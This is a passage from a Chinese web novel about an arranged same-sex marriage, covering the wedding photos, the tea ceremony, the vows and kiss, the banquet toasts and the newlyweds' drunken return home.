郑云松半晌一屁股坐回沙发原来位置,呆呆的盯着桓柏蘅足足半晌,才自言自语似的,“难怪你才见薄淞一面就勾引人和你结婚,难怪都这么多年没见,我一说薄淞你就有印象,甚至连对方什么系的都知道。” 他“恍然大悟”的一番话得到桓柏蘅鄙夷和无语的一句,“有病。” 他觉得郑云松有时候想象力真的很丰富,和薄淞结婚只是因为对方很合适罢了,长得也在他审美点上,不会再有更多,至于为什么不换一个,桓柏蘅想,都活到这个年纪,谁没有个初恋,再找一个说不定人品都不行。 薄淞只是暗恋而已...已经算可以了。 “我有病还是你有病啊?“郑云松被刺激到,“你真的不介意啊?” 前些日子的冷淡,跨年夜的悔婚,所以郑云松的问题,桓柏蘅心里是有答案的。 “别多嘴。” “... ” “如果不行,再离婚。” 这就是桓柏蘅的回答。 郑云松彻底明白,“我多嘴什么啊,你都这个态度了,反正我话该说的都说了,主要还是看你...要结你就结吧。” “虽然说是应付你爷爷的婚礼,但不代表感情不能培养,只要你想的话,婚后也可以...你先别急着打断我。” 郑云松瞪眼,等桓柏蘅让他接着说了,“ 旁观者清,感情这种事很复杂的,你真别那么肯定你就对薄淞毫无感觉,你现在做的事就不符合你的性子,这点你就不用跟我争辩行吧,认识这么多年了。” “你又没谈过,也不可能真就断情绝爱的,你们又是要结婚的关系,这其实很大程度上会让你产生对他的占有欲啊,就算现在没爱情,那他也能算你的...初任结婚对象?” 郑云松也讲不明白,总而言之就是薄淞占着“未婚夫”这个身份,又确实优秀,桓柏蘅初尝这种关系,有点微妙的情愫其实也正常。 “反正先婚再爱也无所谓啊,能爱就爱不能爱拉倒,培养培养又不会死。”郑云松还是相信爱情的,“ 你看我这样的都还想要一段纯洁真挚刻骨铭心的爱呢,你不比我干净多了。” “...” 桓柏蘅无话可说,只想让人立刻滚。 20、第20章 照片拍摄点在古堡后院,临时布置出的场地。 桓柏蘅到的时候,老爷子颇为欣慰地拍了拍他肩膀,让原本以为又要被念叨的人颇感意外,注意到往这边投来目光的人,明白过来。 “新郎们先拍。” 摄影师足足十多个,总摄影招了招手,示意桓柏蘅过去和薄淞一块,薄淞刚才拍了几张单人照,桓柏蘅之后也得补。 桓柏蘅虽然不乐意,可老爷子这会在,加上必要环节逃不掉,以及某些原因....他觉得还是早配合早结束,站至薄淞身侧。 摄影师挥了挥手,让他们更加亲密,桓柏蘅往人身边挪动,手背相碰,他歪了歪脑袋,和薄淞靠的更近,低声在人耳边道。 “谢谢。” 薄淞望着镜头的眸子闪动几秒,“不客气。” - 薄家父母在林序淮的陪同下过来时,薄淞正保持着微笑面对镜头,腰间是桓柏蘅亲昵搂着他的手,甜蜜而幸福的画面。 “很好,再靠近点。”摄影师指挥着动作拍摄,快门定格下最后一张照片,人从镜头后探出脑袋,比了个“ok”的手势,薄淞腰间的手松开,偏头像是不经意,注意到桓柏蘅唇角的笑意淡去许多。 薄淞走向父母,桓柏蘅连同他一块。 “叔叔,阿姨。” 桓柏蘅在薄淞父母面前,一向表现得体绅士,因此给两人印象非常好,打过招呼后,他到薄妈妈身边,亲近道,“阿姨今天真漂亮,衣服很衬您,太有眼光了吧。” 语气里带着夸张和小玩笑,夸赞是真心实意的,薄妈妈被弄得都不好意思,止不住笑。 薄淞瞧着他妈被哄得心花怒放的模样,眼尾不自觉弯了弯,在另一道幽怨嫌弃的视线中收敛,他无奈又无辜地转向默默不爽的林序淮,作出让对方“宽容”些的表情。 林序淮撇了撇嘴,转过脸冲着远处。 薄淞失笑,也知道这是默认答应的意思,从上午到现在,林序淮都很积极的帮忙,看来他的担心是多余了。 他心里想着,直至另一道不加掩饰的带着打量和些许审视的目光投过来,才有些疑惑地望去,是一张生面孔。 男人点了下头,露出客气的笑。 薄淞一愣,随后微微颔首。 他先前没见过对方,可男人气度非凡,过来时他就有注意到,而桓柏蘅同对方有简单的眼神交流,应当是桓柏蘅朋友,就是不那么热情罢了。 可是桓柏蘅的朋友,为什么会跟着林序淮以及他爸妈一块过来...薄淞后知后觉有些奇怪,疑惑的思绪却在对方忽然一抬手的动作,扯了下木着脸的林序淮时止住,而被碰到的人先是一愣,皱眉,用力甩开。 从头到尾一个眼神没丢过去。 于是许景渊冲着薄淞再次露出个笑,指了指林序淮脚边一块几乎可以忽略的完全充当不了绊脚石的小石子,有几分无辜且明里暗里控诉林序淮无理取闹可他纵容哄着的意思... 薄淞觉得可能是哪弄错了。 - 虽然取消了接亲环节,但敬茶收改口红包的环节不能省,薄家父母到了,老爷子和两人笑着一路聊,敬茶安排在古堡的西边房间,早早便布置好,中西结合的风格,欧式的古钟油画搭上大红的东方元素,长款的真皮沙发上长辈们端坐着。 郑云松这会也过来了,和许景渊站一块,见人目光灼灼望向正对面的融入了摄影团队的林序淮,秉着对方是兄弟的“心上人”,他露出个友好的笑,得到美人一视同仁的冷漠无视,尴尬的笑意收回,察觉到身侧不善眼神。 “...干嘛?”郑云松懵了会。 许景渊斜视他,眼角眉梢透着不悦,“你笑什么?” “...” 郑云松心里“靠”了一声,他就笑怎么了,人家也没正眼看你啊,他这交的什么朋友,一个比一个自我感觉良好且占有欲变态。 他心里吐槽一大堆,还是默默把眼睛摆正,专心盯着前边举行改口仪式的几人。 老爷子又换了条新的领带,七十的年纪精神矍铄,十分有劲头,手上拿着着厚厚的红包,鼓囊囊,递给薄,眼神慈爱,薄淞接过,捧起茶水,茶水斟的不满,端着却感觉千分沉。 心里是紧张的,他微微弯腰递至老爷子跟前,老爷子早就往前探半边身子接过,期待地等着未来的孙子伴侣改口。 “爷爷。” 薄淞轻声喊人。 老爷子褶皱的脸上漾起笑,连连说了几声“好”,把整杯茶都喝了下去。 薄淞接过空了的茶杯放至托盘上,才呼出一口气。 他明摆着紧张,桓柏蘅却淡然得很,自在的接过薄妈妈的红包。 “爸,妈。” 两声传进薄淞耳朵里,心跳比刚才他自己改口时都要剧烈几分,耳后缓缓浮上薄红。 仪式结束,又得拍照。 薄淞听着摄影师指挥,坐在了桓柏蘅旁边,这回他们挨的比刚才拍照时还要近,以至于桓柏蘅忽然偏头时,唇微微擦过他的耳尖,身体瞬间僵硬。 “抱歉啊。”桓柏蘅不像多有诚意。 薄淞:“...没事。” “你很热吗?”桓柏蘅状似打量他模样,低语,“脸很红。” “...” “两位新郎先不要讲悄悄话哦,看镜头。” 摄影师助理拍了拍手,女生掩藏不住地笑意,一副被甜到的调侃模样,在场所有人目光瞬间聚焦。 薄淞感觉脸上温度烧的更高,在众人注视下竟一时间不知道怎么回答,唇瓣张合几次,却跟哑了声似的,他下意识望向桓柏蘅,桓柏蘅没觉得丝毫窘迫,无辜地耸了耸肩,好像事不关己,或是说把主动说话的那一方自然而然归到了薄淞身上,所以解释或是答应的只能是薄淞。 “...好。”薄淞出了声,他这回坐的更加板正,望向镜头。 发丝遮住的耳朵,却更红了。 - 两点,宾客陆陆续续到场,前来道贺,老爷子笑的眼睛没睁开过。 桓柏蘅旁边悠悠飘来一句,“爷爷,皱纹多了两条。” 老爷子笑容僵了会,刚瞪过去,下秒又止不住软和了表情,桓柏蘅一身婚服,高大帅气。 “爷爷老了,你长大了。” 桓柏蘅长太快了,比他高,身子板也结实,这肩膀宽的,老爷子想起儿子儿媳刚离开那阵,小孙子夜夜睡醒哭,他背着人在房间里不停地转,直至埋在肩膀上的人哭着睡着。 说不清多少个夜里,他一遍遍哄着,花了半年时间,小孙子才从父母离开中走出来。 五岁的孩子,没了父母,更加依赖他。 可他哪懂得带什么小孩子,对儿子都是棍棒教育,可小孙子不一样,小孙子性格软,老爷子当时真这么觉得,跟小姑娘似的,别说凶了,嗓门大两声,眼睛就得湿。 所以捧在手心里哄着,重话都舍不得说,越长大越调皮,爱捉弄人,脾气也坏,一不顺心就板着张小脸,保姆阿姨连带着他都得一并哄,不哄不吃饭,无法无天。 可当初闹脾气的爱哭的小孩长大了,长得还一表人才风度翩翩,要结婚了,有自己的家庭。 这是他最大的心愿,要是哪天走了,也没有遗憾了。 “爷爷?” 老爷子很多年没有过鼻酸,要面子,忍住,拍了拍桓柏蘅肩膀。 桓柏蘅像是几分触动,说,“您要是真舍不得我的话,不然这婚我不结了?” “...” 十多秒后,桓柏蘅自觉圆润地“离开”,因为老爷子撩袖子已经准备打人,什么长大懂事,人是高了大了,其他恶劣地方是一点没改,老爷子气得头发昏,瞧着桓柏蘅融入人堆的背影,半晌又止不住长长叹了口气。 他了解自家孙子,结婚是为了他安心,这婚是结了,可桓柏蘅不上心,也不在乎那个薄家的孩子,婚礼当天,再不懂事也不能随口玩笑刚才的话,桓柏蘅对于婚礼,其实是不在乎的。 可就像他先前所想,如果要等到桓柏蘅哪天真心实意认真喜欢一个人,他都不知道能不能等得到,万一等不到...小孙子可就真孤零零一个人了。 他不在了,桓柏蘅婚都不会结了,起码现在,薄淞是再合适不过的人选。 老爷子心情复杂,薄家父母领着新的宾客过来,见着亲家,心虚了那么几秒,大婚的日子,想这些实在太不合适了,他怎么被那混小子带跑? 老爷子重新洋溢起笑脸,和来人寒暄。 - 桓薄两家联姻,来了荣市大半上流圈层,相当于小型的社交名利场。 觥筹交错间,很是热闹。 “新郎呢?仪式快开始了。” 现场策划低声招呼着人去找,跑过来问薄淞。 薄淞不知道,茫然间都没来及想是否桓柏蘅反悔了,身后就幽幽冒出一道声音,“西边。” 他回头,林序淮指着城堡左侧,不情不愿透露,“刚才往那边去了。” “谢谢。” “答应过你的。” 林序淮答应绝对不会在今天跟桓柏蘅起冲突,也答应会让薄淞的婚礼顺顺利利的举办,自然新郎要盯着,因为桓柏蘅很不靠谱。 婚策要准备的事多,再者桓柏蘅没那么好说话,最后薄淞答应去找,负责人才松了口气。 薄淞离开前想起件事,转头,不经意瞥见不远处另一道身影,离他们一百多米的地方,被林序淮驱赶至“不可见范围”的许景渊。 “...” 许景渊察觉到他的视线,眼神总算舍得从林序淮身上挪开片刻,挥了挥手。 很热情。 “你看什么啊,还不去找?”林序淮心里郁闷,没注意到薄淞异样,薄淞摇头,现在也不是合适的时机问,他嘱咐道,“你去吃点东西,别空腹喝酒。” 林序淮中午就没怎么吃,刚才又喝了几杯,大学的时候对方就常常闹胃病。 得到人闷闷的回答。 “知道。”林序淮低声,“啰嗦死了。” 21、第21章 庄园很大,薄淞沿着西面直走到底,看见了桓柏蘅。 围墙边的小草坡地势较高,桓柏蘅坐在坡顶,头发随风轻动,冬日阳光少了炎热的燥意,笼在人身上,温暖而惬意。 这处庄园有着萧瑟季节里最好的美景,老爷子精挑细选后敲定的,桓柏蘅的婚礼,老爷子自然要什么都给最好的。 当然,除了一个桓柏蘅不喜欢的新郎。 薄淞脚步停了片刻,望向远处桓柏蘅背影,才重新过去。 草坡坡度不大,上去却仍需费点劲,起码不可能无声无息不惊动人,薄淞爬到一半的时候,背对着他的人转过了头,桓柏蘅视线和他在半空中交汇。 薄淞眼尾弯了弯,露出笑。 面前的人转了回去。 “...” 他三步并作两步加速爬了上去,犹豫着,还是在人身侧坐下。 坡顶望去,景致更佳,庄园连带着附近种植的都是常青树,绿意浮动,高处风更大,好在阳光下不冷,草坪松软。 薄淞坐下后,没有开口,安安静静的,像是和桓柏蘅一道欣赏风景似的。 “你就来陪我坐着的?” 好一阵,桓柏蘅的声音打破安静。 他这么问,可也知道不是,婚礼仪式要开始了,先前打来的电话好几个,他懒得接罢了,所以薄淞只能是来找他回去。 虽然他是有几分意外,薄淞找到的他。 “不是。” 薄淞回答。 桓柏蘅等他接着说,薄淞却道,“你想再呆会吗?这里很舒服。” “...” 薄淞看起来丝毫不在乎婚礼时间,他只是望着桓柏蘅,语气温柔也平静的问他。 “婚不结了?” 这不符合薄淞的作风,让一众宾客等着,长辈焦急。 他们两的不在场,会让整个婚礼乱成一锅粥。 “想结的。” 薄淞说,他直视着面前的人眼睛,轻声又笃定重复一句,“要结的。” 可是... “桓柏蘅。” “不要不开心。” “...” 出口的话虔诚的像是在许愿。 薄淞想,如果愿望灵验的话,他希望桓柏蘅顺遂,如意,和喜欢的人在一起,不要落寞,不要失意。 永远心想事成。 可他的愿望并不灵,和他结婚,桓柏蘅就不会开心。 这场婚礼,只有他如愿。 心口涌上苦涩。 “我不知道对你来说结婚代表什么,但是我想告诉你,真正喜欢一个人,是不会在意这些的,婚姻只是形式,你不要看得那么重。” 他喜欢一个人,二婚三婚都没关系,不喜欢他也没关系。 他只希望桓柏蘅开心,可他做不到,唯一能给的,只是... “桓柏蘅,我可以承诺你,任何时候...如果你想结束这段关系,我都接受。”薄淞嗓音喑哑道,“不会纠缠,我们好聚好散。” 他给桓柏蘅全部的主导权。 如果桓柏蘅可以幸福,他不会成为绊脚石,桓柏蘅需要,踩他一脚奔向喜欢的人也没事。 但是现在...他说过的,不管出于任何原因他被选择,就会把握住机会。 - 两人是赶在仪式开始前五分钟到的,化妆师服装师冲上前整理服饰发型。 桓柏蘅在化妆师又从包里取出圆的粉饼时,冷脸。 “有点出...出汗。” 化妆师抖着嗓子,职业素养让她颤颤巍巍的手伸向粉饼,内心疯狂羡慕起另一位命好的同事。 此刻,隔着两人几米的地方,命好的同事在给薄淞补妆。 薄淞配合地低头,好让女生不用那么费劲的抬高手臂,结束后和对方说了谢谢,他侧过身,同冷冽的眸光相撞,笑容僵了些。 薄淞觉得有些失败,对于刚才试图安慰桓柏蘅这件事,那番话后,桓柏蘅似乎更不高兴了,周身散发着冷意。 回来一路,一个字都没再同他开口。 薄淞这回不知道哪出了问题,可到婚礼的关键点,也不敢再去找桓柏蘅问,他默默地移开了视线,想着等会,再去哄一哄。 而在他转移开目光的下一秒,桓柏蘅脸色彻底阴沉下来。 - 婚乐响起,伴着现场钢琴声悠悠飘向蓝天,新人入场。 薄淞说不出踩上红毯被鲜花包围的那一瞬,心情是如何的,他只知道,自己实在有点晕,巨大的不真实感,直至一步步走过红毯,最后踩实站在正中间的台子上,才像是回了魂。 热闹的喧嚣褪去。 眼前只剩下桓柏蘅,同年少时并不过分却仍旧相似的眉眼。 兜兜转转,少年时代不曾停留在他身上的目光,不曾注目过他的人,此刻眸中映出的,是他。 薄淞鼻尖泛酸。 主持人的声音从哪传来,他听不分明,他从未如此专注且无需顾忌地望向面前的人,在桓柏蘅低头宣读誓言,流露出小心用力藏好的爱慕。 誓言里没有我爱你,可允诺共度一生。 “我愿意。” 薄淞听见自己的声音,嘶哑地响起。 戒指闪着银光,圈进了手指,他们结为夫妻。 现场掌声雷动,台下薄妈妈落了泪,桓老爷子和薄爸爸眼眶也微微湿润。 掌声结束时,主持人从侧边准备上台,婚礼流程取消了“深情接吻”环节,他得上去控场,以免万一有宾客起哄尴尬,因此步子有些急。 迈上两层阶梯,刚露出一缕头发丝,职业素养让他迅速弯腰,后退。 台上。 薄淞湿润模糊的眼睛看着手中银戒时,听见头顶传来的声音。 桓柏蘅让他抬头。 他下意识乖顺的服从...在面前的人倾身动作下,瞳眸点点放大。 桓柏蘅吻了他。 和跨年夜不一样的吻。 很凶。 唇瓣覆上,攻城掠地。 薄淞在茫然中被扣紧下巴,桓柏蘅舌尖探进来,就被对方的气息全然占据,晕眩,迷恋,空气渐渐稀薄,大脑缺氧。 这一刻像世纪般漫长。 在他感觉站不稳了,双腿发软,才终于被松开,伴随着唇上忽而的一阵强烈刺疼。 温热离开,血腥味蔓延。 桓柏蘅咬破了他的唇,指腹按在伤口处,寸寸摩挲。 现场掀起又一阵欢呼。 薄淞握紧手心,触到冰冷的湿汗,一丝不苟的西服下摆被攥出鲜明褶皱,他在疼痛中,望进桓柏蘅晦暗不明的眼眸,鼎沸人声里极其细微却清晰的耳语。 “好聚好散?”桓柏蘅给出回答,“你想的倒美。” 22、第22章 晚宴在古堡内举行。 水晶灯梦幻迷离的光影落在薄淞脸上,更添了丝温柔,今天,他是全场的聚焦点。 “我敬您。” 薄淞举杯,同面前长辈轻碰,他仰头时特意避开唇上伤口,可仍有一丝酒液不小心沾上,便泛起清晰细密的疼,眼睫微微颤了下,心跳至今仍未平复。 桓柏蘅仪式时的那个深吻,掀起了现场气氛,而吻的后劲至今仍在,薄淞每向长辈敬一次酒,总会有“过来人”慈爱的眼神和拍在肩膀表示都懂的手。 不可否认心里升起隐秘的幸福,好像他和桓柏蘅是深爱的眷侣,在这个最美好的日子接受祝福,当然他也会在长辈们的目光下感到一丝羞赧...桓柏蘅不会。 身侧的人在他之后举起酒杯,始终带着彬彬有礼的笑。 薄淞偷看一眼,心跳再次乱了节拍。 新人要敬的酒多。 这已经是第二波商政界的长辈。 老爷子领着他们。 这样的引见分量不轻,是把薄淞当自家人,薄淞自然不会辜负好意,敬出去的酒几乎杯杯饮尽...当然也是高兴。 他和桓柏蘅的婚礼,让他心甘情愿喝下一杯又一杯浓酒。 因此...喝醉不可避免。 薄淞再次举起酒杯时,手臂用力抖了下,杯中酒液倾斜,他呼吸骤停的刹那,一只手稳稳地拖住手腕,桓柏蘅指尖很烫。 薄淞被酒意熏得泛红的眼皮慢半拍抬起,对上一双冷淡黑沉的双眸。 桓柏蘅拿过他手中酒杯,面对长辈微笑,强硬又不失尊敬。 “这杯我替薄淞敬您。” 长辈愣了下,笑,“你们小两口,随意啊。” 薄淞没敢再一口闷的架势,在桓柏蘅替他喝了这杯酒后,老爷子领着他们去另一桌时,从身后抓住人衣袖。 桓柏蘅回头。 面前的人眸光盈着点水汽,唇瓣殷红,用低低的保证会听话的口吻,告诉他,会少喝一点。 薄淞醉了。 桓柏蘅看着他此刻模样,眸中早失了些清明,嘴唇破皮的地方微微肿起,有些可怜...心口的气到现在,才消了些下去。 “嗯。”他回答,然后一根根掰开对方抓着他的手。 “...” 一轮敬罢,两人剩下的时间可以同年纪相仿的好友寒暄,郑云松拉着许景渊,拿着酒杯就凑上来了。 “新婚快乐,长长久久。” 白天休息室里郑云松抗拒这门婚事,甚至一度要代替桓柏蘅摊牌取消,可真到薄淞面前,又是另一幅模样。 圈子里都这样,好的坏的,可以背地里来,当面总是得有另一套体面的做法。 薄淞理解,也不怪他,对方是桓柏蘅多年挚友,一颗心是向着桓柏蘅的,他希望桓柏蘅身边都是这样好的人,哪怕对他或许不那么友善。 薄淞真心道了谢,仰头,整杯喝了下去。 刚才的承诺忘得一干二净。 “...” 郑云松仍旧傻呵呵乐,丝毫不觉一旁冰冷视线,许景渊识趣,碰杯时表示意思意思就好,他惹得起桓柏蘅,惹不起某个心眼偏到家的祖宗。 想到林序淮,许景渊这就打算遛,怕一会没看住人跑了,毕竟他是被郑云松拽过来的,结果他抿了口酒,发现薄淞干完了一杯。 对方眉头很轻地皱了下。 “...” 死亡凝视再次落下。 许景渊沉默着拉着没眼力见的郑云松离开。 薄淞小声地呼出口气,消化酒意,涩苦的口感融在口腔,然后下秒,耳边传来冰冷嗓音。 “你很能喝?” 嘲讽明显。 桓柏蘅又不高兴了。 薄淞自知理亏,也想哄他,露出一个很乖的笑,算作讨好的前奏。 “...” “薄淞!” 忽然一道声音喊他名字,打断没开口的哄人的话,是薄淞的大学室友。 三人是外地过来的,薄淞作为新郎太忙,婚礼前匆匆碰上,不够时间叙旧,看到年少的好友自然高兴,薄淞笑着和他们挥手。 只几秒,再转身时,只看见桓柏蘅背影离开。 他愣了会,眼底笑意一点点淡下来。 好友已从远处到跟前。 “额,什么情况?” 宿舍长张齐严些许尴尬,往桓柏蘅方向望去,“那个,我们来的不是时候?” 三人知道桓柏蘅,大学入学起就成了风云人物的学弟,也听过对方不那么好接触的传闻。 “他有个电话,比较急。”薄淞立刻调整好状态,解释,下秒转开话题,“辛苦你们了,大老远过来。” “客气什么,你结婚是大事。” 宿舍几人关系好,毕业多年也保持联系,哪怕没有那么频繁,毕竟都有各自的家庭,但听说薄淞结婚,都请假过来,献上最真挚的祝福。 薄淞心里是感动的,和几人聊着,间隙他回头看了眼。 诺大的宴会厅热闹,已经没有桓柏蘅的影子。 被酒精蒙蔽的大脑剥出些许清明的理智。 是他自作多情了。 这不过是场互利互惠的婚姻,所有温情,只是一场必要的表演罢了。 桓柏蘅并不想认识他的朋友,对他的交际圈不感兴趣,或者说,是变相的告诉他,守好各自界限。 - 婚宴到十点,陆陆续续宾客离场,薄淞揉了揉太阳穴,独自坐在散去的一桌角落,眼前画面时不时模糊,眩晕感强烈。 他索性闭眼,放空自己短暂休息会,忽然身后猛地压下一人,心跳停了拍。 是林序淮。 薄淞一晚上没看见他。 对方压着他很沉,酒气比起他身上都要重几分,薄淞拍了拍人手,把环着他的一只胳膊拉下来,果不其然,人迷迷瞪瞪。 林序淮踉跄着步子拖开椅子,刺啦一声,晃啊晃,半天一屁股坐上。 “结婚不是高兴吗?一个人坐这干嘛。” 林序淮碎碎念,他人醉的不清,可酒杯攥的紧,刚才那么大幅度动作,杯子的酒愣是没晃出来,林序淮把杯子怼至人跟前,奇怪的“咦”了声。 “怎么只有一半了。” 他嘟囔道,脑袋快凑到杯子里,然后前后左右看了整整一圈,才起身,抓过没开过的红酒,他动手去开,薄淞才赶紧拦下。 “别喝了。” “凭什么?。”林序淮蹙眉,拂开薄淞的手,给自己倒了满满一杯,“薄淞,今天你结婚,我祝你和那个谁百年好合,白头偕老,长命百岁,早生贵子!” “...” 林序淮仰头干了。 干完气势汹汹给出祝福的人才安静下来,呆呆坐着。 薄淞自己都醉了,头也疼,慢半拍根本阻止不了对方,可瞧着林序淮这状态更是不行,他强行清醒些,要先安排好朋友。 他建议林序淮今晚住下,有人照顾。 “不要。”得到直接的拒绝,“我回家。” 说着回家,手又摸向红酒瓶,薄淞赶紧挪开,吐出口气,“你不能再喝了。” 他更不放心让林序淮一个人回家,半夜怕是还得起来偷喝。 “就住一晚,也有人照顾你。”薄淞温声劝道。 林序淮不算个热乎的人,除了他以外,身边这么多年也没有真正可以信赖的朋友,大学时期就独来独往,而在两人认识之前,对谁都爱搭不理的。 哪怕是他的室友,关系也并不亲近。 “不...要。” 林序淮直勾勾盯他,一双含情勾人的桃花眼睁着大大的,两个字已然十分委屈。 薄淞叹了口气,对待人一贯的耐心温和,“那你跟我爸妈回去,睡我房间可以吗?他们不会打扰你。” 林序淮就不说话了。 薄淞就说,“一会跟我爸妈走。” 他直接单方面决定了。 “薄淞。”林序淮就喊他,质问道,“你干嘛这么担心我?” “我当然会担心你。”薄淞有些无奈。 然后林序淮开始笑,他笑起来就止不住,只是连带着身体都因为笑而晃动,最后歪歪斜斜实在撑不住,往薄淞身上倒,后衣领被拽住,力道将他扯了回去,连带被迫仰起脑袋,俯身而下的男人唇角挂着公式化的假笑。 许景渊几乎快碰上林序淮的唇,呼吸洒上人面颊,只两人能听见的一声“小美人” “喝醉酒也不应该耍流氓哦。”他温馨提醒。 说完许景渊抬起头,他先冲着薄淞笑,然后看向薄淞身后,笑意就没了,“柏蘅,你的新郎好像需要点分寸感。” 桓柏蘅脚步停下,在薄淞回头讶异的目光中,冷声道,“管好你的人。” 许景渊耸了耸肩,不置可否。 现场的奇怪氛围终止在林序淮恶狠狠推开许景渊的动作中,椅子“刺啦”一声响,许景渊自觉往后退了步,变作无辜脸。 林序淮胸口起伏好几下,清醒了,见着讨厌的脸, 还是两张。 他看了眼桓柏蘅,对方目光不善,冷冰冰,但他当然不怕。 只是又看见怔怔望着桓柏蘅的薄淞,忍下了气。 他答应不起冲突。 林序淮起身就走。 脚步迈出去,然后摔进许景渊怀里。 “...” 脚软。 许景渊躲过了一巴掌,跟在踉跄着人的身后走了,薄淞才总算回神,他站起来,却被拦住,桓柏蘅挡在跟前,沉沉地盯着他。 “...我朋友喝醉了。” 薄淞混沌的大脑没消化完刚才那一幕。 桓柏蘅说,“景渊跟着。” “好,我先去看看,一会..” 话没说完,他被扯回来。 桓柏蘅眉头拧在一块,沉黑的眸子暗了几分,“你敷衍我?” “没有。”薄淞愣住,解释,“序淮喝多了。” 他担心林序淮,心头却颤了下,“我不是敷衍你。” 心虚的狡辩,人却不敢再走了。 他太在乎桓柏蘅的情绪。 而远处林序淮的身影早已消失不见,薄淞忽然觉得很对不起朋友。 因为桓柏蘅不松手,他根本舍不得甩开。 “我真的不是敷衍...你朋友,和序淮认识是吗?” 薄淞又狡辩了一次,转移话题,他一方面心虚,另一方面又实在混乱,他能猜出许景渊心思不那么单纯,刚才已经很直接了。 而林序淮对不喜欢的追求者态度一向冷漠。 只是这次,冷漠的有点不太寻常。 “你想问他们两什么关系是吧?” “...” “上过床,什么都做了的关系。” 桓柏蘅在薄淞缓渐错愕的视线里,不紧不慢又带着某种强调意味,告知薄淞,“他们又不是什么纯洁的成年人。” “...” 23-30 第23章 薄淞本来头脑发昏, 这会因为桓柏蘅的话,更晕了几分,他实在有些站不稳, 等桓柏蘅松手时, 坐回了原先位置。 “你说的是真的吗?” 好长一阵,薄淞才能开口。 桓柏蘅拧眉, “我有必要骗你?” 没这个必要的,但凡薄淞问一句, 其实就有答案的,可是 “景渊并不差,不是吗?” 许景渊不差,可跟林序淮是不一样的,薄淞听出桓柏蘅话里的意思, 只能苦笑, 他总不能说,其实林序淮不像你朋友那样,没有谈过很多段, 不是风流成性 他甚至纯洁的像一张白纸。 林序淮没谈过对象。 这么多年,薄淞再了解不过,看似花心随意,实则对情爱这种事极为不屑,而对于他喜欢桓柏蘅这么多年,林序淮总是嗤之以鼻的,所以薄淞忽然被告知林序淮和许景渊发生过关系 薄淞很不想怀疑桓柏蘅的朋友,因为许景渊给他的印象并不坏,甚至于第一眼其实是有些好的至于是不是带着滤镜爱屋及乌,薄淞不能肯定。 总而言之, 太混乱了。 他还是想给林序淮打个电话。 薄淞拿出手机拨号。 桓柏蘅眼睛眯了眯,到底是没有制止他,只是明显脸上的不悦。 电话接通很快, 里头传来的声音却让薄淞一愣。 “薄淞,麻烦替我转告下柏蘅,送他的新婚礼物在车上保险箱里,我和序淮先回去,洞房今天就不闹了,祝你们新婚夜愉快。” 寥寥几句,电话挂断,有些匆忙。 “我说过了,他们不是什么纯洁的成年人。” 桓柏蘅的声音适时响起,薄淞抬起头,眼底茫然,听人一字一顿,“你对你的朋友是不是不太了解?” 林序淮的手机在许景渊手里已经代表一切,而且做都做过了,也不在乎多那么两次,桓柏蘅是这么想的,薄淞对于自己的朋友过于理想化,理想到自己醉了还能管别人的闲事? 他这么说,薄淞应该知趣,可下秒重新拨过去的电话,让桓柏蘅彻底没了耐心。 薄淞手上一空,桓柏蘅拿过手机,直接挂了。 “你情我愿的事,你非得这么不知情知趣的插一手?” 他声线很冷,难掩烦躁,因为薄淞油盐不进。 薄淞被拿了手机,也不会对桓柏蘅发脾气,他知道桓柏蘅说的没有错,可他不能就这么当这件事没发生。 “再打一个可以吗?”薄淞放软的语气,“序淮是我最重要的朋友。” 他起码要听到林序淮的声音,确定林序淮是自愿的,那他尊重对方的选择。 桓柏蘅把手机丢回给了他,面色一片漠然。 最重要的,他听清了这四个字。 薄淞拨过去电话,接通时这回去了边上,身后灼热的视线凝固在他身上。 半分钟不到,通话结束。 薄淞过来时,脸上的表情已然证明一切。 桓柏蘅挑起一边唇角,近乎直白的嘲讽,“所以你朋友是自愿的吗?” 薄淞没法回答。 这次是林序淮接的电话,告诉他,许景渊会送他回去,没被绑架也被威胁,他自愿和对方回去,堵死薄淞全部的话。 薄淞想不明白,他混沌的大脑也无法思考了- 薄淞和桓柏蘅一道,送老爷子和薄家父母离开后,上了车。 回他们的新家。 车程四十分钟,薄淞终于被醉意打败,他没撑住,沉沉睡去,中间依稀记得片段,是脑袋砸在窗玻璃上几次,然后被一片温热柔软拖住,后半程,便是断片后的空白。 薄淞再醒来时,眼前是桓柏蘅的脸,在昏暗的车厢里,车门一边是开着的,有冷空气灌进来,冰冷潮湿。 他轻而缓慢地眨了下眼睛, 桓柏蘅说,“下车。” 已经到地下车库。 薄淞慢半拍反应过来,拉车门的手却绵软的没了力气,他第二次用力,才打开了车门,下车,脚踩在地面那一刻,踉跄了下。 等他站稳,桓柏蘅又在看他。 薄淞眼睛眨了下。 车库只开了两盏灯,不算明亮,以至于薄淞眼底大片大片遮掩而上的雾气,藏也藏不住。 断片后重启的大脑是迟混沌的。 桓柏蘅往前走,薄淞就在身后跟着,一步,两步电梯前五六米处,桓柏蘅转了个方向,薄淞呆呆地望着不远处电梯,然后转身,继续跟紧桓柏蘅。 面前是个坡道。 车子开下车库的一条倾斜的路。 波浪形的地面让薄淞踩在上面的步子不稳,险些栽倒,他扶着边上水泥墙,望着地面,一步,两步面前多了只手。 薄淞抬起头,桓柏蘅居高临下的视线。 “要帮忙吗?” 喝醉的人没那么多心思,薄淞不八面玲珑,也不藏藏躲躲,他遵循本能,抓住了面前的手,宽厚,温烫,用力抓紧。 “谢谢。” 桓柏蘅牵着薄淞上去,到别墅大门口,寒风往衣领子里刮。 醉酒后的人呆在密闭不流通的温暖环境下,大脑缺氧,会更容易断片,而空气流通的地方,有利于酒劲散发。 薄淞在风吹过来的时候,清醒许多,也狠狠打了个哆嗦。 单薄的西装外套挡不住凌晨的温度,而身上的羽绒服,他才注意到羽绒服掉到了胸口往下,风全刮进去,实则是他跟着桓柏蘅上来一路,不知不觉扯掉的。 桓柏蘅输完密码,领人进去时注意到,抬手碰上外套,给人往上拉了拉,注意到薄淞眸子缩了下,不似刚才空洞而没有焦点。 “可以松开了吗?” 他问,得到薄淞后退一步松开的手,抱歉的声音很轻。 薄淞手心出了汗,又被风干。 天阙湾这处新房薄淞是来过的,在最早他和桓柏蘅确定这处作为以后住所时,只这会全然变了模样。 前院两侧的花园移栽了冬季花卉,精致琉璃的小亭子缀在花园边,比起原先的单调,多了些生机活力,夜色中角落处相熟的两抹红粉,浓稠艳丽,夺人眼球。 薄淞瞳孔微微放大。 桓柏蘅等他惊讶够了,才不紧不慢解释,“爷爷说送我们礼物,问我想要什么。” 他要了老爷子最爱的百年山茶。 薄淞被惊到,酒又多醒了一分,犹豫道。 “养不好的话,还是还给爷爷吧。” 